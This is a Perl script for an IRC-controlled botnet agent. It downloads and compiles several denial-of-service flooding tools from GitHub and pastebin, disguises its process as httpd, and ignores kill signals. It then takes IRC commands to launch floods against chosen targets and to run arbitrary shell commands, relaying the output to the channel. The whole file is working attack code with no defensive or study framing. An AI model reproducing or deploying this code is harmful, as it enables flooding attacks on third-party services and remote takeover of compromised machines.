IRC-Perl-Bot

#!usr/bin/perl

use IO::Socket;
my $processo = '/usr/sbin/httpd';
my $server  = "irc.freenode.net";
my $code = int(rand(100000));
my $channel = "#35fgh4";
my $port    =   "6667";
my $nick    ="Machine_$code";


unless (-e "goldeneye.py") {
  print "[*] Instalando o Goldeneye... ";
  system("wget https://raw.githubusercontent.com/jseidl/GoldenEye/master/goldeneye.py -O goldeneye.py");
}

unless (-e "udp1.pl") {
  print "[*] Instalando UDPFlooder... ";
  system("wget https://pastebin.com/raw/3Ct3HJXQ -O udp1.pl");
}

unless (-e "std.c") {
  print "[*] Instalando STD... ";
  system("wget https://raw.githubusercontent.com/KrawkRE/DDoS-API/master/a83f1ca5ad00b39773d9e6a26b0e70b2/STD.c -O std.c");
  system("gcc std.c -o std -pthread");
}

unless (-e "httpabuse.pl") {
  print "[*] Instalando HTTPABUSE... ";
  system("wget https://raw.githubusercontent.com/KrawkRE/DDoS-API/master/a83f1ca5ad00b39773d9e6a26b0e70b2/HTTP.pl -O httpabuse.pl");
}
all();
sub all {
$SIG{'INT'}  = 'IGNORE';
$SIG{'HUP'}  = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'}   = 'IGNORE';

$s0ck3t = new IO::Socket::INET(
PeerAddr => $server,
PeerPort => $port,
Proto    => 'tcp'
);
if ( !$s0ck3t ) {
print "\nError\n";
exit 1;
}

$0 = "$processo" . "\0" x 16;
my $pid = fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);

print $s0ck3t "NICK $nick\r\n";
print $s0ck3t "USER $nick 1 1 1 1\r\n";

print "Online ;)\n\n";
while ( my $log = <$s0ck3t> ) {
      chomp($log);

      if ( $log =~ m/^PING(.*)$/i ) {
        print $s0ck3t "PONG $1\r\n";
    print $s0ck3t "JOIN $channel\r\n";
      }

     if ( $log =~ m/:!sadattack (.*)$/g ){##########
        my $target_sadattack = $1;
        $target_sadattack =~ s/^\s*(.*?)\s*$/$1/;
        $target_sadattack;
        print $s0ck3t "PRIVMSG $channel :67[63SADATTACK67]61 Attack started at $1, use !stopsad for stop :P \r\n";
        system("nohup python sadattack.py $target_sadattack > /dev/null 2>&1 &");
      }

      if ( $log =~ m/:!stopsad/g ){##########
        print $s0ck3t "PRIVMSG $channel :67[63SADATTACK67]61 Attack sucessfully finished! \r\n";
        system("pkill -9 -f sadattack");
      }

      if ( $log =~ m/:!hulk (.*)$/g ){##########
        my $target_hulk = $1;
        $target_hulk =~ s/^\s*(.*?)\s*$/$1/;
        $target_hulk;
        print $s0ck3t "PRIVMSG $channel :67[63HULK67]61 Attack started at $1, use !stophulk for stop :P \r\n";
        system("nohup python hulk.py $target_hulk > /dev/null 2>&1 &");
      }

      if ( $log =~ m/:!stophulk/g ){##########
        print $s0ck3t "PRIVMSG $channel :67[63HULK67]61 Attack sucessfully finished! \r\n";
        system("pkill -9 -f hulk");
      }

      if ( $log =~ m/:!gold (.*)$/g ){##########
        my $target_gold = $1;
        $target_gold =~ s/^\s*(.*?)\s*$/$1/;
        print $s0ck3t "PRIVMSG $channel :67[63GOLD67]61 Attack started at $1, use !stopgold for stop :P \r\n";
        system("nohup python goldeneye.py $target_gold -w 15 -s 650 > /dev/null 2>&1 &");
      }

      if ( $log =~ m/:!stopgold/g ){##########
        print $s0ck3t "PRIVMSG $channel :67[63GOLD67]61 Attack sucessfully finished! \r\n";
        system("pkill -9 -f goldeneye");
      }

      if ( $log =~ m/:!udp (.*)$/g ){##########
        my $target_udp = $1;
        print $s0ck3t "PRIVMSG $channel :67[63UDP67]61 Attack started at $target_udp, use !stopudp for stop :P \r\n";
        system("nohup perl udp1.pl $target_udp > /dev/null 2>&1 &");
      }
      if ( $log =~ m/:!stopudp/g ){##########
        print $s0ck3t "PRIVMSG $channel :67[63UDP67]61 Attack sucessfully finished! \r\n";
        system("pkill -9 -f udp1");
      }

      if ( $log =~ m/:!std (.*)$/g ){##########
        my $target_std = $1;
        my $port_std = $2;
        my $time_std = $3;
        print $s0ck3t "PRIVMSG $channel :67[63STD67]61 Attack started at $target_std, use !stopstd for stop :P \r\n";
        system("nohup ./std $target_std $port_std $time_std > /dev/null 2>&1 &");
      }

      if ( $log =~ m/:!stopstd/g ){##########
        print $s0ck3t "PRIVMSG $channel :67[63STD67]61 Attack sucessfully finished! \r\n";
        system("pkill -9 -f std");
      }

    if ( $log =~ m/:!httpabuse (.*)$/g ){##########
        my $target_httpabuse = $1;
        $target_httpabuse =~ s/^\s*(.*?)\s*$/$1/;
        $target_httpabuse;
        print $s0ck3t "PRIVMSG $channel :67[63HTTPABUSE67]61 Attack started at $1, use !stopabuse for stop :P \r\n";
        system("nohup perl httpabuse.pl $target_httpabuse 3000 1000 PPS 13.37 3600 > /dev/null 2>&1 &");
      }

      if ( $log =~ m/:!stopabuse/g ){##########
        print $s0ck3t "PRIVMSG $channel :67[63HTTPABUSE67]61 Attack sucessfully finished! \r\n";
        system("pkill -9 -f httpabuse");
      }

      if ( $log =~ m/:!cmd (.*)$/g ){##########
        my $comando_raw = `$1`;
        open(handler,">mat.tmp");
        print handler $comando_raw;
        close(handler);

        open(h4ndl3r,"<","mat.tmp");
        my @commandoarray = <h4ndl3r>;

        foreach my $comando_each (@commandoarray){
          sleep(1);
          print $s0ck3t "PRIVMSG $channel :67[63RCE67]61 Output67 => $comando_each \r\n";
       }
   }
}
}
while(true){
  all();
}